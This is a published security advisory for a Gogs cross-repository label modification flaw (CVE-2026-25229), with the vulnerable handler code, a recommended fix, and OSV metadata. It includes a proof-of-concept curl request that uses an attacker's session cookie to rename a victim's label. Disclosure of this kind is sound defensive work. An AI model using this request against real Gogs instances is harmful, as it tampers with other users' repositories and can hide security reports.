GHSA-CV22-72PX-F4GH
Vulnerability from github – Published: 2026-02-17 18:42 – Updated: 2026-02-19 21:14Summary
A broken access control vulnerability in Gogs allows authenticated users with write access to any repository to modify labels belonging to other repositories. The UpdateLabel function in the Web UI (internal/route/repo/issue.go) fails to verify that the label being modified belongs to the repository specified in the URL path, enabling cross-repository label tampering attacks.
Details
The vulnerability exists in the Web UI's label update endpoint POST /:username/:reponame/labels/edit. The handler function UpdateLabel uses an incorrect database query function that bypasses repository ownership validation:
Vulnerable Code (internal/route/repo/issue.go:1040-1054):
func UpdateLabel(c *context.Context, f form.CreateLabel) {
l, err := database.GetLabelByID(f.ID) // ❌ No repository validation
if err != nil {
c.NotFoundOrError(err, "get label by ID")
return
}
// ❌ Missing validation: l.RepoID != c.Repo.Repository.ID
l.Name = f.Title
l.Color = f.Color
if err := database.UpdateLabel(l); err != nil {
c.Error(err, "update label")
return
}
c.RawRedirect(c.Repo.MakeURL("labels"))
}
Root Cause:
- The function calls
database.GetLabelByID(f.ID)which internally passesrepoID=0to the ORM layer - According to code comments in
internal/database/issue_label.go:147-166, passingrepoID=0causes the ORM to ignore repository restrictions - No validation checks whether
l.RepoID == c.Repo.Repository.IDbefore updating - The middleware
reqRepoWriter()only validates write access to the repository in the URL path, not the label's actual repository
Inconsistency with Other Functions:
NewLabel: Correctly setsRepoID = c.Repo.Repository.IDDeleteLabel: Correctly usesdatabase.DeleteLabel(c.Repo.Repository.ID, id)-
API
EditLabel: Correctly usesdatabase.GetLabelOfRepoByID(c.Repo.Repository.ID, id) -
*Only
UpdateLabelin Web UI uses the vulnerable pattern*
PoC
Prerequisites:
- Two user accounts: Alice (attacker) and Bob (victim)
- alice has written access to repo-a
- Bob owns repo-b with labels
Step 1: Identify Target Label ID
- Login as bob, navigate to bob/repo-b/labels
- Open browser DevTools (F12) → Network tab
- Click edit on any label
- Observe the form data: id=
- Example: id=1
Step 2: Execute Attack
# Login as alice, get session cookie
# Open DevTools → Application → Cookies → i_like_gogs
# Copy the cookie value
# Send malicious request
curl -X POST "http://localhost:3000/alice/repo-a/labels/edit" \
-H "Cookie: i_like_gogs=<ALICE_SESSION_COOKIE>" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "id=1&title=HACKED-BY-ALICE&color=%23000000"
# Expected response: 302 Found (redirect)
Step 3: Verify Impact
- Login as bob
- Navigate to bob/repo-b/labels
- Observe: Label "P0-Critical" is now "HACKED-BY-ALICE" with black color
Impact
-
Issue Classification Disruption: Modify critical labels (e.g., "P0-Critical" → "P3-Low") causing urgent issues to be deprioritized
-
Security Issue Concealment: Change "security" labels to "documentation" to hide vulnerability reports from security teams
-
Workflow Sabotage: Alter labels used in CI/CD automation, breaking deployment pipelines
-
Mass Disruption: Batch modifies all labels across multiple repositories using ID enumeration
Recommended Fix:
func UpdateLabel(c *context.Context, f form.CreateLabel) {
l, err := database.GetLabelOfRepoByID(c.Repo.Repository.ID, f.ID)
if err != nil {
c.NotFoundOrError(err, "get label of repository by ID")
return
}
// Now label ownership is validated at database layer
l.Name = f.Title
l.Color = f.Color
if err := database.UpdateLabel(l); err != nil {
c.Error(err, "update label")
return
}
c.RawRedirect(c.Repo.MakeURL("labels"))
}
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.13.4"
},
"package": {
"ecosystem": "Go",
"name": "gogs.io/gogs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.14.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25229"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-17T18:42:08Z",
"nvd_published_at": "2026-02-19T07:17:45Z",
"severity": "MODERATE"
},
"details": "### **Summary**\nA broken access control vulnerability in Gogs allows authenticated users with write access to any repository to modify labels belonging to other repositories. The `UpdateLabel` function in the Web UI (`internal/route/repo/issue.go`) fails to verify that the label being modified belongs to the repository specified in the URL path, enabling cross-repository label tampering attacks.\n\n### **Details**\nThe vulnerability exists in the Web UI\u0027s label update endpoint `POST /:username/:reponame/labels/edit`. The handler function `UpdateLabel` uses an incorrect database query function that bypasses repository ownership validation:\n\n**Vulnerable Code** (`internal/route/repo/issue.go:1040-1054`):\n\n```plain\nfunc UpdateLabel(c *context.Context, f form.CreateLabel) {\n l, err := database.GetLabelByID(f.ID) // \u274c No repository validation\n if err != nil {\n c.NotFoundOrError(err, \"get label by ID\")\n return\n }\n\n // \u274c Missing validation: l.RepoID != c.Repo.Repository.ID\n l.Name = f.Title\n l.Color = f.Color\n if err := database.UpdateLabel(l); err != nil {\n c.Error(err, \"update label\")\n return\n }\n c.RawRedirect(c.Repo.MakeURL(\"labels\"))\n}\n```\n\n**Root Cause**:\n\n1. The function calls `database.GetLabelByID(f.ID)` which internally passes `repoID=0` to the ORM layer\n2. According to code comments in `internal/database/issue_label.go:147-166`, passing `repoID=0` causes the ORM to ignore repository restrictions\n3. No validation checks whether `l.RepoID == c.Repo.Repository.ID` before updating\n4. The middleware `reqRepoWriter()` only validates write access to the repository in the URL path, not the label\u0027s actual repository\n\n**Inconsistency with Other Functions**:\n\n+ `NewLabel`: Correctly sets `RepoID = c.Repo.Repository.ID`\n+ `DeleteLabel`: Correctly uses `database.DeleteLabel(c.Repo.Repository.ID, id)`\n+ API `EditLabel`: Correctly uses `database.GetLabelOfRepoByID(c.Repo.Repository.ID, id)`\n\n- ****Only `UpdateLabel` in ****Web UI**** uses the vulnerable pattern****\n\n### **PoC**\n**Prerequisites**:\n\n+ Two user accounts: Alice (attacker) and Bob (victim)\n+ alice has written access to repo-a\n+ Bob owns repo-b with labels\n\n**Step 1: Identify Target Label ID**\n\n1. Login as bob, navigate to bob/repo-b/labels\n2. Open browser DevTools (F12) \u2192 Network tab\n3. Click edit on any label\n4. Observe the form data: id=\u003cLABEL_ID\u003e\n5. Example: id=1\n\n**Step 2: Execute Attack**\n\n```plain\n# Login as alice, get session cookie\n# Open DevTools \u2192 Application \u2192 Cookies \u2192 i_like_gogs\n# Copy the cookie value\n\n# Send malicious request\ncurl -X POST \"http://localhost:3000/alice/repo-a/labels/edit\" \\\n -H \"Cookie: i_like_gogs=\u003cALICE_SESSION_COOKIE\u003e\" \\\n -H \"Content-Type: application/x-www-form-urlencoded\" \\\n -d \"id=1\u0026title=HACKED-BY-ALICE\u0026color=%23000000\"\n\n# Expected response: 302 Found (redirect)\n```\n\n**Step 3: Verify Impact**\n\n1. Login as bob\n2. Navigate to bob/repo-b/labels\n3. Observe: Label \"P0-Critical\" is now \"HACKED-BY-ALICE\" with black color\n\n### **Impact**\n1. **Issue Classification Disruption**: Modify critical labels (e.g., \"P0-Critical\" \u2192 \"P3-Low\") causing urgent issues to be deprioritized\n\n2. **Security Issue Concealment**: Change \"security\" labels to \"documentation\" to hide vulnerability reports from security teams\n\n3. **Workflow**** Sabotage**: Alter labels used in CI/CD automation, breaking deployment pipelines\n\n4. **Mass Disruption**: Batch modifies all labels across multiple repositories using ID enumeration\n\n**Recommended Fix**:\n\n```plain\nfunc UpdateLabel(c *context.Context, f form.CreateLabel) {\n l, err := database.GetLabelOfRepoByID(c.Repo.Repository.ID, f.ID)\n if err != nil {\n c.NotFoundOrError(err, \"get label of repository by ID\")\n return\n }\n // Now label ownership is validated at database layer\n l.Name = f.Title\n l.Color = f.Color\n if err := database.UpdateLabel(l); err != nil {\n c.Error(err, \"update label\")\n return\n }\n c.RawRedirect(c.Repo.MakeURL(\"labels\"))\n}\n```",
"id": "GHSA-cv22-72px-f4gh",
"modified": "2026-02-19T21:14:43Z",
"published": "2026-02-17T18:42:08Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/security/advisories/GHSA-cv22-72px-f4gh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25229"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/commit/643a6d6353cb6a182a4e1f0720228727f30a3ad2"
},
{
"type": "PACKAGE",
"url": "https://github.com/gogs/gogs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Gogs has an Authorization Bypass Allows Cross-Repository Label Modification in Gogs"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.